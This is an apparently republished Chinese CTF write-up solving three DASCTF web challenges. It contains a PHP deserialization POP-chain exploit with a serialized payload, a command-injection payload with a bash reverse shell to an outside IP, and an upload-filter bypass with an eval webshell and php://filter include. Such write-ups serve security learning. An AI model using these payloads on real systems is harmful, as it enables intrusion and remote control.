2022DASCTF X SU 三月春季挑战赛 web

news/2024/4/29 3:24:02/文章来源:https://www.cnblogs.com/ialoe/p/2022DASCTF.html

1.ezpop

2.calc

3.upgdstore


ezpop

给出了源码:

<?phpclass crow
{public $v1;public $v2;function eval() {echo new $this->v1($this->v2);}public function __invoke(){$this->v1->world();}
}class fin
{public $f1;public function __destruct(){echo $this->f1 . '114514';}public function run(){($this->f1)();}public function __call($a, $b){echo $this->f1->get_flag();}}class what
{public $a;public function __toString(){$this->a->run();return 'hello';}
}
class mix
{public $m1;public function run(){($this->m1)();}public function get_flag(){eval('#' . $this->m1);}}if (isset($_POST['cmd'])) {unserialize($_POST['cmd']);
} else {highlight_file(__FILE__);
}
?>

显然,这是要我们找到一条POP链。
我们从目的出发,找到可以利用的函数eval()——可以将字符串按照php代码来计算。如果传入system()函数调用外部命令实现rce,就有可能找到flag。
可以明确用mix::get_flag()函数触发eval(),那么,如何触发mix::get_flag()
1、通过mix::run()触发,但这样会限制$m1为"get_flag",从而无法利用eval()执行命令,行不通;
2、通过fin::__call($a, $b)触发,将mix传入fin的$f1即可,可行。
接下来,如何触发fin::__call($a, $b)成了问题,目前就只形成了这样的链子
fin::__call() --> mix::get_flag()
倒推困难,我们就找入口正推。这里注意到这样几个魔术方法

__destruct()  //当对象被销毁时触发
__toString()  //当把类当作字符串使用时触发
__invoke()    //当对象调用为函数时触发
__call()      //当对象上下文中调用不可访问的方法时触发

fin::_destruct()恰好可以用来触发what::_toString(),从而可以触发run(),继而再触发一个函数,如果触发_invoke(),由于world()不可访问,就可以用之触发_call(),从而形成完整的POP链:
fin::__destruct() --> what::__toString() --> fin::run() --> crow::__invoke() --> fin::__call() --> mix::get_flag()(这里用的fin::run(),另一个似乎也可以)。

另一个需要注意的点是:eval()用'#'进行了过滤,因此还需要绕过,这里可以选用?>闭合,也可以选用\n换行符!
构造exp如下:

<?phpclass crow
{public $v1;public $v2;function eval() {echo new $this->v1($this->v2);}public function __invoke(){$this->v1->world();}
}class fin
{public $f1;public function __destruct(){echo $this->f1 . '114514';}public function run(){($this->f1)();}public function __call($a, $b){echo $this->f1->get_flag();}}class what
{public $a;public function __toString(){$this->a->run();return 'hello';}
}
class mix
{public $m1;public function run(){($this->m1)();}public function get_flag(){eval('#' . $this->m1);}}//fin::__destruct() --> what::__toString() --> fin::run() --> crow::__invoke() --> fin::__call() --> mix::get_flag()$a=new fin();//为了调用__destruct()方法
$b=new fin();
//$b=new mix;
$c=new fin();
$d=new crow();
$e=new what();
$f=new mix();$a->f1=$e;//为了调用__toString()方法
$e->a=$b;//为了去调用run方法
$b->f1=$d;//为了去调用__invoke()方法
$d->v1=$c;//为了去调用__call()方法
$c->f1=$f;//为了去调用get_flag()方法 
$f->m1="\nsystem('ls /');" ;//用 \n 绕过注释符echo urlencode(serialize($a));
?>

得到O%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22what%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22crow%22%3A2%3A%7Bs%3A2%3A%22v1%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3Bs%3A16%3A%22%0Asystem%28%27ls+%2F%27%29%3B%22%3B%7D%7Ds%3A2%3A%22v2%22%3BN%3B%7D%7D%7D%7D

最后用bp传参即可(这里用ls /命令查根目录较麻烦,于是用ls查当前目录,也不很好找,最后选择用cat *查看所有文件,结果如下图)

成功找到flag!

**
该题在构造pop链上思路不算混乱(可能跟我偷看了一眼wp有关),但是在传参上遇到了很大的问题,一方面HackBar(估计是HB自身问题)总是失败搞人心态,另一方面用burp suite发送POST请求的方法没有掌握,即有三个地方需要修改:
1、GET修改为POST方法
2、加上媒体类型信息:Content-Type: application/x-www-form-urlencoded
3、末尾添加需上传语句:cmd=xxxx
**

另外有师傅在构造exp时传入"?><? @eval(\$_POST[b]);",继而利用蚁剑连接找flag,但是博主尚未弄清蚁剑🗡的这一功能,待研究后更新。
详情请访问这位师傅的Blog【2022DASCTF X SU】 三月春季挑战赛 web复现

calc

题目上来就给个计算器,打开源码,发现是用python写的计算器。源码放在下面:

#coding=utf-8
from flask import Flask,render_template,url_for,render_template_string,redirect,request,current_app,session,abort,send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import timeapp=Flask(__name__)def waf(s):blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']flag = Truefor no in blacklist:if no.lower() in s.lower():flag= Falseprint(no)breakreturn flag@app.route("/")
def index():"欢迎来到SUctf2022"return render_template("index.html")@app.route("/calc",methods=['GET'])
def calc():ip = request.remote_addrnum = request.values.get("num")log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)if waf(num):try:data = eval(num)os.system(log)except:passreturn str(data)else:return "waf!!"if __name__ == "__main__":app.run(host='0.0.0.0',port=5000) 

审查代码发现有GET传参,找到了口子。分析可知是用GET传参控制num变量,作为log = "echo {0} {1} {2}> ./tmp/log.txt"中的{2}。再看下去就能发现两个很敏感的函数:

  data = eval(num) //os.system(log) //将字符串转化成命令在服务器上运行

os.system()
由于numwaf()过滤得太多,我们只能把目标放在os.system(log)上,想办法对log下手,查找bash shell中可以做命令替换的函数:$()、eval()与``反引号,由于$和eval被过滤,这里只能选用反引号(优先执行`代码`)。[资料查阅:反引号与$()的区别以及eval的作用]
需要注意的是,程序会将num插入到log字符串的最后然后先后执行 eval(num)和os.system(log),因此不能让eval(num)报错而无法进行下一步,考虑python的特性,想到可以利用注释符#注释。
接下来,我们希望建立反弹shell,将其命令行的输入输出转到我们的攻击端

bash -i >& /dev/tcp/攻击端IP/攻击端监听端口 0>&1
bash -i >& /dev/tcp/101.43.119.212/12306 0>&1

[资料查阅:Linux下反弹shell的原理]
但是&也被ban了,没法直接用,但是也能得出一个思路:输出重定向到攻击机
payload:/calc?num=1%23`ls%09>/dev/tcp/IP/2333`
这里由于空格被过滤,ls >写成ls%09>,然后在攻击端监听2333端口nc -lvp 2333
然后修改ls命令即可,这里博主服务器监听不到,仍然在找问题。


upgdstore

文件上传题,随便上传一个文件试试

由此可以得知该题目只能上传php文件。直接试试webshell.php传一句话木马,结果不出意料的失败了,又试了几个木马的变形,发现都无济于事,像无头苍蝇一样乱撞。只传入phpinfo()看看有什么收获

发现一大堆disable_functions,基本上所有的恶意函数全部都被过滤,接下来试试用拼接绕过的办法读取/etc/passwd

Linux 系统中的 /etc/passwd 文件,是系统用户配置文件,存储了系统中所有用户的基本信息,并且所有用户都可以对此文件执行读操作。

这里我们用最常用的file_get_contents() 函数来读取文件

<?php
echo ("fil"."e_get_c"."ontents")("/etc/passwd");
?>

成功读取。
那么根据Web服务器的默认根文件夹/var/www/html,可以尝试读取网站源码(这里尝试index.php),将文件代码改为

<?php
echo ("fil"."e_get_c"."ontents")("/var/www/html/index.php");
?>

上传后打开,查看源码

<?php
function fun($var): bool{$blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];foreach($blacklist as $blackword){if(strstr($var, $blackword)) return True;}return False;
}
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("只要好看的php");
}$content = file_get_contents($temp_file);
if(fun($content)){die("诶,被我发现了吧");
}
$new_file_name = md5($file_name).".".$ext;$img_path = UPLOAD_PATH . '/' . $new_file_name;if (move_uploaded_file($temp_file, $img_path)){$is_upload = true;} else {$msg = 'Upload Failed!';die();}echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
}

发现过滤掉了$_、eval、assert等字符串,也难怪最初尝试的后门上传失败。于是先上传了webshell的base64编码php文件——a.php

<?php @eval($_POST[1]); ?>//不要忘记在php关键字后加空格!!!
base64编码绕过——>
PD9waHAgQGV2YWwoJF9QT1NUWzFdKTsgPz4=

反引号被ban,也不知道如何把代码读取出来然后解码,也断绝了我用base64解码后再执行的想法。在其他大佬那里学到了PHP伪协议,了解到php://filter+convert.base64-decode过滤器能解决问题。

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行

php://filter/convert.base64-decode/resource=39ab6b7b4e9946f4fef4d99ee6be3446.php//php文件是刚刚上传的a.php
base64编码绕过——>
cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT0zOWFiNmI3YjRlOTk0NmY0ZmVmNGQ5OWVlNmJlMzQ0Ni5waHA=

只需要用上述代码将上传的a.php代码读取出来然后再用包含函数include结合即可,因此再上传b.php(php函数名不区分大小写,可利用此点绕过)
<?php Include(base64_decode("cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT0zOWFiNmI3YjRlOTk0NmY0ZmVmNGQ5OWVlNmJlMzQ0Ni5waHA="));?>
但是博主尝试了一段时间结果怎么也传不上去,人麻中麻了属于是,结果发现是上传的文件名(web64.php)经md5加密然后base64编码后出现了dl,被过滤了。换了名字后成功上传。

执行命令成功,但是蚁剑无法连接(大抵是因为有太多函数被ban了),只能用其他办法解决了。

网上查阅其他师傅的wp,发现要用到LD_PRELOAD劫持,后期学习更新。

资料:浅谈LD_PRELOAD劫持

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_2639.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SAAS市场不是“出身之争”,客户需求主导一切

“Salesforce中国区宣布解散”的消息,市场已经给出诸多分析和猜测。有意思的是,每当有外企中国业务受阻,市场就会有一波声音出来,认为这是外企在中国水土不服。这次也不例外,有一种观点认为外国软件不适合中国国情,未来将是中国SAAS厂商的机遇。 抛开现象看本质,抛开推测…

使用time.Time数据类型获取时间报错

报错类型:Error 1292: Incorrect datetime value: 0000-00-00 for column created_at at row 1 在添加用户到数据库时,使用的字段created_at,类型为time.Time ,无法正确的获取到当前数据点的报错记录,如下图所示: 解决方法与解决过程: 因为我这是学习别人的项目,所以拥…

今日内容之 CSS盒子模型和JS基础知识数据类型

CSS盒子模型所有的标签都可以看成是一个快递盒 1.margin(外边距):标签之间的距离 两个快递盒之间的距离 2.border(边框):标签的边框 快递盒的厚度 3.padding(内边距):内部文本与边框的距离 盒子内物…

由浇花工具开始物联网平台之开始前言篇【1】

在2020年时,突然有个想法,就是做个浇花工具,因为平时喜欢养花,有时忘记浇花,有时感觉手动浇花太麻烦,所以做个这个小玩意,是用.NET 开发的WinForm小程序,来控制单片机,带动水泵浇花,还可以测量干燥度自动浇花。现在突然又想起这事,那就由这个浇花工具开始我的物联网…

LTI系统正弦函数输入的稳态响应(Problem3.12)

这几天南方好几个省市高温大旱持续,长江流域水位下降,而北方多雨,这算是极端气候吗。一、稳态响应,涉及到的课后作业题是P3.12线性时不变系统(LTI)的稳态响应。 二、书中正文第75页三、解答过程 牢记: 1、如果你决定做某事,那就动手去做;不要受任何人、任何事的干…

[转]经典-python串口读取gps可视化 - MKT-porter - 博客园

(转载请删除括号里的内容) GPS模块设置 1使用ucenter设置gps输出 默认gps 9600 或者115200 选择串口链接 2 设置波特率 send之后重新连接gps模块,波特率修改成115200,send只是当前有效,断电恢复原来的. 3 修改GPS输出频率断电生效,保存在gps的内存里 4修改gps输出帧 默认输出…

易基因|作物育种:MdMTA介导的RNA甲基化(m6A修饰)在苹果抗逆品种选育中的作用研究

大家好,这里是专注表观组学十余年,领跑多组学科研服务的易基因。 m6A是RNA上最丰富的一种修饰,平均每条转录本有1~3个m6A修饰。植物也有相应的m6A writers、readers、erasers系统。近年来,m6A修饰在植物育种领域的研究进展极为迅速。本期我们对m6A RNA甲基化在抗逆苹果品种…

VMware扩展磁盘

以下操作不会破坏原有的数据,但还是有风险的,建议先备份数据。1.关闭虚拟机,扩展磁盘2.查看当前分区大小和分配情况 df -h lsblk fdisk -l 3.扩展sda3 fdisk /dev/sda 进入fdisk模式 m 查看帮助 p 查看分区情况,记录一下sda3的start值 d 删除sda3分区,还要输入分区数(分…

[网鼎杯 2018]Comment-1|SQL注入|二次注入

1、打开之后只有一个留言页面,很自然的就想到了二次注入得问题,顺带查看了下源代码信息,并没有什么提示,显示界面如下:2、那先扫描一下目录,同时随便留言一个测试以下,但是显示需要登录,账户、密码给出了部分提示,但是最后三位密码需要爆破,结果如下:3、扫描到了.gi…

MySQL学习(3)---MySQL常用命令

ps:此随笔基于mysql 5.7.*版本。 已知root账户密码进行登录 格式:mysql [-h地址] [-p端口] -u用户名 -p密码 省略不写地址或端口则自动使用默认。(地址:localhost;端口:3306) 两种方式进行登录。方式1:方式2:忘记root账户密码进行登录(修改root密码)以管理员身份打开一个…

爬虫进阶-python爬虫爬取百度图片

爬虫进阶-python爬取百度图片​今天来和大家分享下,如何通过爬虫,爬取百度图片,并下载保存到本地。 一、开发环境 开发环境:python 3.9和sublime_text ps:pycharm今天第一次用,随着将越来越多开发环境集成到vscode上,感觉太复杂了,配置又不太懂,总是有问题,虽然很喜欢…

前端Day06

HTML5新特性 语义化: 多媒体标签: 新增input类型: 新增表单属性:

一、对象与类

已经工作几年了,java,vue,python,C++各种项目都随叫随到,但除了C++其他都没有系统的学习过。这里仅记录下从头学习java基础的过程,和我认为值得记录的一些点,权当做一个备份和文档。 学习参考书:java核心技术 卷1 第九版。家里正好有这本书很多年了,也就看这个了,不是…

Python自学教程4-数据类型学什么

Hi,我是九柄,全网同号,今天我们说说Python的数据类型。 python数据类型有什么特点 每一门编程语言都要学数据类型的,每种类型的操作会稍微有一点区别。Python是一门非常灵活的编程语言,数据类型的指定和其他编程语言会稍微有一点区别。 首先,Python 不需要显性声明数据的…

解析 RocketMQ 业务消息--“顺序消息”

本篇将继续业务消息集成的场景,从功能原理、应用案例、最佳实践以及实战等角度介绍 RocketMQ 的顺序消息功能。作者:绍舒 引言 Apache RocketMQ 诞生至今,历经十余年大规模业务稳定性打磨,服务了阿里集团内部业务以及阿里云数以万计的企业客户。作为金融级可靠的业务消息方…

C# 读取MotherBoard的信息

通过C# 来读取PC 的MotherBoard 上的信息,如 产品名称,制造商,版本等,方法如下:Reference中添加 System.Management,并在头文件中引入该 Assemble 添加对应的类,并进行使用,如下实例:public static class MotherBoardInfo{private static ManagementObjectSearcher …

万物皆可集成系列:低代码释放用友U8+深度价值(2)—数据拓展应用

在上一篇内容我们介绍了如何利用低代码开发套件实现低代码应用与U8+系统的对接集成,本次给大家带来的是如何将用友U8+系统中的数据进行价值扩展和实际应用。 我们以生产物料齐套分析为例来说明如何利用低代码将U8+系统中的系统进行扩展和应用。在开始之前,先来看看什么是生产…

java数据类型转换问题

我们知道java中的各个数据类型的取值范围不同,可以理解成容量大小,而针对容量大小可以对他们进行一个由低到高的排序,也就是优先级。 优先级 低-----------------------------------------------------------------------高 (byte,short,char)=> int => long => …

记esxi linux主机调整分区大小

调整前效果:调整后效果: 方法如下: 工具:VMware vCenter Converter

顶象为飞凡汽车App提供全方位防护 助力新能源汽车发展

汽车App集展示、体验、交互、交易和远程服务于一身,已成为智能汽车的一部分。日前,飞凡汽车与顶象达成合作,为飞凡汽车App提供安全加固服务,为用户提供全方位的安全保障。 用户眼里的“宝藏App” 每个智能汽车都有一个App,大多数将其当做车的附加服务,飞凡汽车把App当做汽…